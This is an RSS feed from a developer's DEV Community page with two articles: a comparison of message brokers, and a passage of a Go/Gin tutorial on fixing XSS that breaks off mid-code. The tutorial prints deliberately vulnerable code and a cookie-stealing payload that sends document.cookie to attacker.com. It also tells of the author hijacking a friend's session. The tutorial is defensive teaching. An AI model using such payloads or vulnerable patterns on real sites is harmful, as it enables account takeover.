<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mahdi SHamlou | مهدی شاملو</title>
    <description>The latest articles on DEV Community by Mahdi SHamlou | مهدی شاملو (@mahdi0shamlou).</description>
    <link>https://dev.to/mahdi0shamlou</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3697084%2Fa7962611-bef0-4ef6-b527-49cb9cdff5aa.jpeg</url>
      <title>DEV Community: Mahdi SHamlou | مهدی شاملو</title>
      <link>https://dev.to/mahdi0shamlou</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mahdi0shamlou"/>
    <language>en</language>
    <item>
      <title>Message Brokers Comparison 2026 — Kafka, RabbitMQ, NATS &amp; Redis Streams: Which One Should You Choose?</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Thu, 28 May 2026 13:53:26 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/message-brokers-comparison-2026-kafka-rabbitmq-nats-redis-streams-which-one-should-you-3ea8</link>
      <guid>https://dev.to/mahdi0shamlou/message-brokers-comparison-2026-kafka-rabbitmq-nats-redis-streams-which-one-should-you-3ea8</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou"&gt;Mahdi Shamlou&lt;/a&gt; here.&lt;/p&gt;

&lt;p&gt;if you’ve read my &lt;a href="https://dev.to/mahdi0shamlou/owasp-top-10-for-developers-2026-edition-how-to-actually-fix-the-most-dangerous-web-11pi"&gt;OWASP Top 10&lt;/a&gt; or &lt;a href="https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89"&gt;SQL/NoSQL injection&lt;/a&gt; articles, you know I take reliability and security seriously. If you’ve seen my &lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-durable-workflow-engines-comparison-temporal-dbos-transact-prefect-custom-3a6a"&gt;durable workflow engines&lt;/a&gt; post, you know I care about building systems that don’t fall apart under real-world conditions.&lt;/p&gt;

&lt;p&gt;Today, we’re tackling a question that comes up in every serious backend discussion:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which message broker should I use in 2026?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4hev3ze0ffwqjjqhzuhg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4hev3ze0ffwqjjqhzuhg.png" alt="Mahdi Shamlou | مهدی شاملو" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I’ve seen countless debates online:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Kafka is always better.”&lt;/li&gt;
&lt;li&gt;“RabbitMQ is outdated.”&lt;/li&gt;
&lt;li&gt;“NATS is insanely fast.”&lt;/li&gt;
&lt;li&gt;“Just use Redis.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But most comparisons are either outdated, overly biased, or written without real engineering tradeoffs.&lt;/p&gt;

&lt;p&gt;So I decided to make a fresh, practical comparison for software engineers in 2026.&lt;/p&gt;

&lt;p&gt;Let’s dive in.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is a Message Broker?
&lt;/h2&gt;

&lt;p&gt;A message broker helps different services talk to each other.&lt;/p&gt;

&lt;p&gt;For example, instead of this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payment_service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;process_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you send a message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;broker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;order.created&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then another service reads that message and does the work.&lt;/p&gt;

&lt;p&gt;This helps us build systems that are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;More scalable&lt;/li&gt;
&lt;li&gt;Easier to manage&lt;/li&gt;
&lt;li&gt;More reliable&lt;/li&gt;
&lt;li&gt;Better for background jobs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Message brokers are useful for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Microservices&lt;/li&gt;
&lt;li&gt;Notifications&lt;/li&gt;
&lt;li&gt;Payment systems&lt;/li&gt;
&lt;li&gt;Background tasks&lt;/li&gt;
&lt;li&gt;Event-driven systems&lt;/li&gt;
&lt;li&gt;Real-time systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Today I want to compare these options:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kafka&lt;/li&gt;
&lt;li&gt;RabbitMQ&lt;/li&gt;
&lt;li&gt;NATS&lt;/li&gt;
&lt;li&gt;Redis Streams&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Kafka
&lt;/h2&gt;

&lt;p&gt;Kafka is one of the most popular message brokers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj29q8h6rgfdvytoxr4yc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj29q8h6rgfdvytoxr4yc.png" alt="Mahdi Shamlou" width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Big companies like LinkedIn, Uber, and Netflix use it for handling a huge amount of data.&lt;/p&gt;

&lt;p&gt;Kafka is very powerful and works well for large systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  How it works
&lt;/h3&gt;

&lt;p&gt;Kafka stores messages inside something called &lt;strong&gt;topics&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Messages stay there for some time, even after consumers read them.&lt;/p&gt;

&lt;p&gt;This means you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read messages again&lt;/li&gt;
&lt;li&gt;Replay events&lt;/li&gt;
&lt;li&gt;Save system history&lt;/li&gt;
&lt;li&gt;Process a lot of data&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Pros
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Very scalable&lt;/li&gt;
&lt;li&gt; High performance&lt;/li&gt;
&lt;li&gt; Good for large systems&lt;/li&gt;
&lt;li&gt; Can replay old messages&lt;/li&gt;
&lt;li&gt; Strong reliability&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cons
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Harder to learn&lt;/li&gt;
&lt;li&gt; More setup and infrastructure&lt;/li&gt;
&lt;li&gt; Too much for small projects&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Best for
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Large systems&lt;/li&gt;
&lt;li&gt; Analytics&lt;/li&gt;
&lt;li&gt; Event-driven architecture&lt;/li&gt;
&lt;li&gt; High traffic systems&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. RabbitMQ
&lt;/h2&gt;

&lt;p&gt;RabbitMQ is one of the oldest and most trusted message brokers.&lt;/p&gt;

&lt;p&gt;Many developers use it because it is easier than Kafka and works very well for business systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  How it works
&lt;/h3&gt;

&lt;p&gt;RabbitMQ sends messages into queues.&lt;/p&gt;

&lt;p&gt;Consumers read the messages and confirm when the job is finished.&lt;/p&gt;

&lt;p&gt;RabbitMQ supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Retry&lt;/li&gt;
&lt;li&gt;Delayed messages&lt;/li&gt;
&lt;li&gt;Priority queues&lt;/li&gt;
&lt;li&gt;Different routing methods&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Pros
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Easy to understand&lt;/li&gt;
&lt;li&gt; Reliable&lt;/li&gt;
&lt;li&gt; Good retry support&lt;/li&gt;
&lt;li&gt; Mature and stable&lt;/li&gt;
&lt;li&gt; Easier than Kafka&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cons
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Not the best for very high scale&lt;/li&gt;
&lt;li&gt; Message replay is weaker than Kafka&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Best for
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Payment systems&lt;/li&gt;
&lt;li&gt; Notifications&lt;/li&gt;
&lt;li&gt; Background jobs&lt;/li&gt;
&lt;li&gt; Business applications&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. NATS
&lt;/h2&gt;

&lt;p&gt;NATS is lightweight, simple, and very fast.&lt;/p&gt;

&lt;p&gt;Many cloud-native systems use NATS because it is easy to run and gives very good performance.&lt;/p&gt;

&lt;h3&gt;
  
  
  How it works
&lt;/h3&gt;

&lt;p&gt;NATS uses a publish/subscribe model.&lt;/p&gt;

&lt;p&gt;Services send messages, and other services receive them.&lt;/p&gt;

&lt;p&gt;With &lt;strong&gt;JetStream&lt;/strong&gt;, NATS also supports persistence and better durability.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pros
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Very fast&lt;/li&gt;
&lt;li&gt; Lightweight&lt;/li&gt;
&lt;li&gt; Easy setup&lt;/li&gt;
&lt;li&gt; Good for cloud systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cons
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Smaller ecosystem than Kafka&lt;/li&gt;
&lt;li&gt; Fewer features compared to RabbitMQ and Kafka&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Best for
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Real-time systems&lt;/li&gt;
&lt;li&gt; Internal service communication&lt;/li&gt;
&lt;li&gt; Cloud applications&lt;/li&gt;
&lt;li&gt; Fast microservices&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. Redis Streams
&lt;/h2&gt;

&lt;p&gt;Many developers already use Redis.&lt;/p&gt;

&lt;p&gt;But some people forget that Redis can also work as a message broker.&lt;/p&gt;

&lt;p&gt;Redis Streams is simple and useful for many systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  How it works
&lt;/h3&gt;

&lt;p&gt;Redis stores messages in streams.&lt;/p&gt;

&lt;p&gt;Consumers can read messages in groups and process them.&lt;/p&gt;

&lt;p&gt;It supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; Persistence&lt;/li&gt;
&lt;li&gt; Retry&lt;/li&gt;
&lt;li&gt; Consumer groups&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Pros
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Easy to start&lt;/li&gt;
&lt;li&gt; Simple setup&lt;/li&gt;
&lt;li&gt; Good if you already use Redis&lt;/li&gt;
&lt;li&gt; No extra infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cons
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Not good for very large systems&lt;/li&gt;
&lt;li&gt; Fewer advanced features&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Best for
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; Small and medium projects&lt;/li&gt;
&lt;li&gt; Background jobs&lt;/li&gt;
&lt;li&gt; Existing Redis projects&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  Quick Comparison
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Kafka&lt;/th&gt;
&lt;th&gt;RabbitMQ&lt;/th&gt;
&lt;th&gt;NATS&lt;/th&gt;
&lt;th&gt;Redis Streams&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Speed&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Very High&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Easy Setup&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scalability&lt;/td&gt;
&lt;td&gt;Very High&lt;/td&gt;
&lt;td&gt;Good&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reliability&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;Good&lt;/td&gt;
&lt;td&gt;Good&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Learning Curve&lt;/td&gt;
&lt;td&gt;Hard&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  My Take: Which One Should You Use?
&lt;/h2&gt;

&lt;p&gt;For most teams, I think this is a good choice:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Start with RabbitMQ or NATS&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you want reliability and good features:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RabbitMQ&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you want speed and simplicity:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NATS&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Use Redis Streams&lt;/strong&gt; if you already use Redis. Sometimes you do not need another service. Redis Streams can be enough for many projects.&lt;/p&gt;

&lt;p&gt;Use Kafka when your system becomes bigger. Kafka is powerful. But many teams start using Kafka too early. If your project is small or medium size, Kafka may add extra complexity.&lt;/p&gt;

&lt;p&gt;Use Kafka if you need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; Very high scale&lt;/li&gt;
&lt;li&gt; Event replay&lt;/li&gt;
&lt;li&gt; Analytics systems&lt;/li&gt;
&lt;li&gt; Large distributed systems&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;There is no perfect message broker. Every tool has advantages and disadvantages. Choose based on your project needs.&lt;/p&gt;

&lt;p&gt;My simple suggestion:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; RabbitMQ → business systems&lt;/li&gt;
&lt;li&gt; NATS → fast modern systems&lt;/li&gt;
&lt;li&gt; Redis Streams → simple projects&lt;/li&gt;
&lt;li&gt; Kafka → large systems&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive check out my other articles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;   &lt;a href="https://dev.to/mahdi0shamlou/xss-attacks-are-everywhere-reflected-stored-dom-based-how-to-actually-fix-them-2026-1hm"&gt;XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026) &lt;/a&gt; — xss story.&lt;/li&gt;
&lt;li&gt;   &lt;a href="https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89"&gt;Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them&lt;/a&gt; — The story that started it all.&lt;/li&gt;
&lt;li&gt;    &lt;a href="https://dev.to/mahdi0shamlou/owasp-top-10-for-developers-2026-edition-how-to-actually-fix-the-most-dangerous-web-11pi"&gt;OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes.&lt;/a&gt; — Full list with code &lt;/li&gt;
&lt;li&gt;    &lt;a href="https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30"&gt;What Is a Sandbox? How to Safely Run Any Unknown .exe 
&lt;/a&gt; — Essential for security testing.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl6djurl73pw504hx793j.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl6djurl73pw504hx793j.webp" alt="Mahdi Shamlou" width="800" height="1067"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;br&gt;
📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;br&gt;
📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>programming</category>
      <category>systemdesign</category>
      <category>messagebroker</category>
      <category>microservices</category>
    </item>
    <item>
      <title>XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026)</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Thu, 28 May 2026 12:54:19 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/xss-attacks-are-everywhere-reflected-stored-dom-based-how-to-actually-fix-them-2026-1hm</link>
      <guid>https://dev.to/mahdi0shamlou/xss-attacks-are-everywhere-reflected-stored-dom-based-how-to-actually-fix-them-2026-1hm</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou"&gt;Mahdi Shamlou&lt;/a&gt; here.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Mahdi, okay fine — you got me with NoSQL injection last time ( &lt;a href="https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89"&gt;read that story here&lt;/a&gt; ). But my site is definitely safe from XSS now. I sanitize all inputs on the backend in Go, I use strict validation, and I even have a WAF. It's impossible to hack.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I smiled. Then I asked for his URL — again.&lt;/p&gt;

&lt;p&gt;Within 3 minutes, I popped an alert(document.cookie) on his profile page. Then I upgraded it to silently exfiltrate his session token to my server. His face went pale. Again.&lt;/p&gt;

&lt;p&gt;Moral of the story: "I sanitize input on the backend" does NOT mean "I'm XSS-proof". XSS isn't about input — it's about output. If you render untrusted data into HTML, JavaScript, CSS, or URLs without proper context-aware encoding, you're vulnerable — no matter your stack, no matter your sanitization.&lt;/p&gt;

&lt;p&gt;In this guide, I'll show you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How I stole my friend's session with a 1-line XSS payload (and how to fix it in Go/Gin)&lt;/li&gt;
&lt;li&gt;The 3 main XSS types — with real Go (Gin) code examples&lt;/li&gt;
&lt;li&gt;Why even careful backend sanitization can fail against DOM-based XSS&lt;/li&gt;
&lt;li&gt;Content Security Policy, DOMPurify, and Trusted Types — what actually works&lt;/li&gt;
&lt;li&gt;Actual Go code fixes + tools to find these bugs automatically
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's dive in.&lt;br&gt;
🔗 Missed the NoSQL injection takedown? Read it here:&lt;br&gt;
➡️ &lt;a href="https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89"&gt;Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  What Is XSS, Really?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp9us8a0oe9wu9vge7c8z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp9us8a0oe9wu9vge7c8z.png" alt="Mahdi Shamlou" width="800" height="640"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.&lt;/p&gt;

&lt;p&gt;The browser executes the code as if it came from the trusted site itself — because technically, it did. The root cause? Untrusted data is rendered into the page without proper encoding or sanitization.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;XSS isn't about "hacking the server". It's about hacking the user's browser — and using that trust to steal cookies, redirect users, log keystrokes, or even take over accounts.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OWASP ranks XSS as a permanent member of the Top 10 (A03 in 2026, but historically A07). And it’s still everywhere — even on sites with “strict backend validation”.&lt;/p&gt;

&lt;p&gt;Let’s break down the three flavours using only Go/Gin.&lt;/p&gt;


&lt;h2&gt;
  
  
  The 3 Main XSS Types (With Go/Gin Examples)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Reflected XSS — The “Click This Link” Attack
&lt;/h3&gt;

&lt;p&gt;How it happens:&lt;br&gt;
User input is immediately reflected back in the server’s response without encoding. Attackers craft a malicious link and trick victims into clicking it.&lt;/p&gt;

&lt;p&gt;Vulnerable Go (Gin) code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"github.com/gin-gonic/gin"&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Default&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/search"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"q"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c"&gt;// 🚨 DANGER: raw string concatenation into HTML&lt;/span&gt;
        &lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;h1&amp;gt;Search results for: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/h1&amp;gt;"&lt;/span&gt;
        &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker payload:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;/search?q=fetch(&amp;amp;#39;&amp;lt;a href="https://attacker.com/steal?cookie=&amp;amp;#x27;+document.cookie"&amp;gt;https://attacker.com/steal?cookie=&amp;amp;#39;+document.cookie&amp;lt;/a&amp;gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Result:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The victim’s browser executes the script and sends their session cookie to the attacker.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Fix — Use Gin’s template engine (auto‑escaping):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/search-safe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
